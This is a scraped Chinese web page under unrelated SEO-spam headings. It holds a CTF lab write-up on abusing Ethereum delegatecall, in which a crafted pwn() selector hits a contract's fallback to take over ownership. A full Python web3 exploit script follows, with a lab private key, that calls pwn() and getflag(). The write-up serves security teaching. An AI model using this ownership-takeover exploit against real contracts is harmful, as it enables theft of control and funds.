当前位置: 首页 > news >正文

微信团购网站怎么做广州做企业网站找哪家公司好

微信团购网站怎么做,广州做企业网站找哪家公司好,个人可以建论坛网站吗,重庆建站模板搭建区块链安全 文章目录 区块链安全Call函数簇滥用实战一实验目的实验环境实验原理实验内容实验过程 Call函数簇滥用实战一 实验目的 学会使用python3的web3模块 学会以太坊Delegatecall漏洞分析及利用 实验环境 Ubuntu18.04操作机 实验工具 python3 实验原理 call 外部调用…区块链安全 文章目录 区块链安全Call函数簇滥用实战一实验目的实验环境实验原理实验内容实验过程 Call函数簇滥用实战一 实验目的 学会使用python3的web3模块 学会以太坊Delegatecall漏洞分析及利用 实验环境 Ubuntu18.04操作机 实验工具 python3 实验原理 call 外部调用时上下文是外部合约delegatecall 外部调用时上下文是调用合约 fallback函数调用条件一是如果合约在被调用的时候找不到对方调用的函数就会自动调用 fallback 函数二是只要是合约收到别人发送的 Ether 且没有数据就会尝试执行 fallback 函数此时 fallback 需要带有 payable 标记否则合约就会拒绝这个 Ether 实验内容 找到Delegatecall漏洞并形成利用把flag标志设置为true 使用python3的web3模块远程利用漏洞并获取flag 实验地址为nc ip 10005 实验过程 Call函数簇滥用实战一 实验步骤 获取合约地址和合约源代码 nc ip 10005连接到题目输入1获取部署合约的game account及token 打开http://ip输入上述分配的game account点击Request获取eth nc ip 10005连接到题目输入2获取部署合约的地址及new token nc ip 10005连接到题目输入4获取合约源代码或者在题目附件找到合约源代码 分析合约源代码漏洞 题目要求把flag设置为true分析合约代码需要修改合约owner为自己 漏洞主要在于使用了delegatecall函数调用delegatecall外部调用时上下文是调用合约所以delegate.delegatecall(msg.data)其实调用的是delegate自身的msg.data。 熟悉 raw 格式的交易的 data 的会知道data 头4个 byte 是被调用方法的签名哈希即 bytes4(keccak256(“func”)) , remix 里调用函数实际是向合约账户地址发送了( msg.data[0:4] 函数签名哈希 )的一笔交易所以我们只需调用 ETH5 的 fallback 的同时在 msg.data 放入 pwn() 函数的签名即可。 这里其实主要思路就是 fallback 的触发条件一是如果合约在被调用的时候找不到对方调用的函数就会自动调用 fallback 函数二是只要是合约收到别人发送的 Ether 且没有数据就会尝试执行 fallback 函数此时 fallback 需要带有 payable 标记否则合约就会拒绝这个 Ether。 综上我们只需调用 Delegation 的 假pwn() 即可这样就会触发 Delegation 的 fallback 这样 pwn 的函数签名哈希就会放在 msg.data[0:4] 了这样就会只需 delegate 的 pwn() 把 owner 变成自己 EXP利用 使用EOA账户调用ETH5合约的假pwn()函数将owner修改为攻击者自己然后调用ETH5的getflag()函数即可编写exp将这一过程自动化下述contract_address的地址换成自己题目合约的地址 from web3 import Web3, HTTPProvider from solcx import compile_source import timew3 Web3(Web3.HTTPProvider(http://192.168.2.102:8545))contract_address 0xBD29D46744beeD67e15bB20bf0f159aEfEEbBcE7 private 92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb public 0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480fdef generate_tx(chainID, to, data, value):txn {chainId: chainID,from: Web3.toChecksumAddress(public),to: to,gasPrice: w3.eth.gasPrice,gas: 3000000,nonce: w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),value: Web3.toWei(value, ether),data: data,}return txndef sign_and_send(txn):signed_txn w3.eth.account.signTransaction(txn, private)txn_hash w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()txn_receipt w3.eth.waitForTransactionReceipt(txn_hash)print(txn_hash, txn_hash)return txn_receiptdata Web3.keccak(textpwn()).hex()[:10]# call pwn() in ETH5 txn generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0) txn_receipt sign_and_send(txn) print(txn_receipt)time.sleep(5)# call getflag() in ETH5 data Web3.keccak(textgetflag()).hex()[:10] txn generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0) txn_receipt sign_and_send(txn) print(txn_receipt)运行expstatus1代表交易成功 nc ip 10005连接到题目输入3输入之前的new token获取flag
http://www.hkea.cn/news/14355912/

相关文章:

  • 宁波网站建站推广哪个网站做海报好
  • 网站手机版怎么做的wordpress密码阅读
  • 金华专业网站制作公司wordpress 淘宝 采集插件
  • 内江网站建设公司正规的教育机构有哪些
  • 现在网站一般都是什么语言做的基于wordpress开发教程
  • 山东网站定制设计网络营销策划书应该怎么写
  • 网站移动端和手机端分开做广告公司seo是什么职位
  • 徐州模板开发建站购物网站开发的难点
  • 公司怎么做网站平台黄冈论坛东湖社区
  • 网站制作详细过程百度网页版入口链接
  • 可以申请免费的个人网站吗wordpress 文章分类
  • 怎么能创建自己的网站小程序账号申请
  • 网站制作与app开发哪个要难一点网站云优化
  • 网站全屏广告百度快速排名软件下载
  • 营销型网站手机端聋哑工作设计做网站
  • 网站建设主体设计要求网站怎么营销推广
  • 四大门户网站做网站需要学习什么知识
  • 怎么做产品的网站新手如何涨1000粉
  • 广东网站备案审核时间网页搜索框的记录怎么删除
  • 培训网站建设平台wordpress 自动 发微博
  • 十大网站app排行榜cn域名与com域名
  • 哪个网站可以做封面想自己建一个公司网站怎么做
  • 中原彼得堡航空学院网站的建设做网站找哪个公司好
  • 如何介绍网站模板下载公司内部小程序开发公司
  • 自主免费建站网站wordpress退出代码
  • 设计电子商务网站建设方案asp网络公司程序 网站公司企业建设源码 网站设计模板seo优化
  • 毕业设计 旅游网站建设网络营销推广活动方案
  • 彩票网站开发制作需要什么建设网站上申请劳务资质吗
  • 河南微网站建设公司哪家好上海网站建设服务商
  • 网站备案证书下载密码忘了英语课件做的好的网站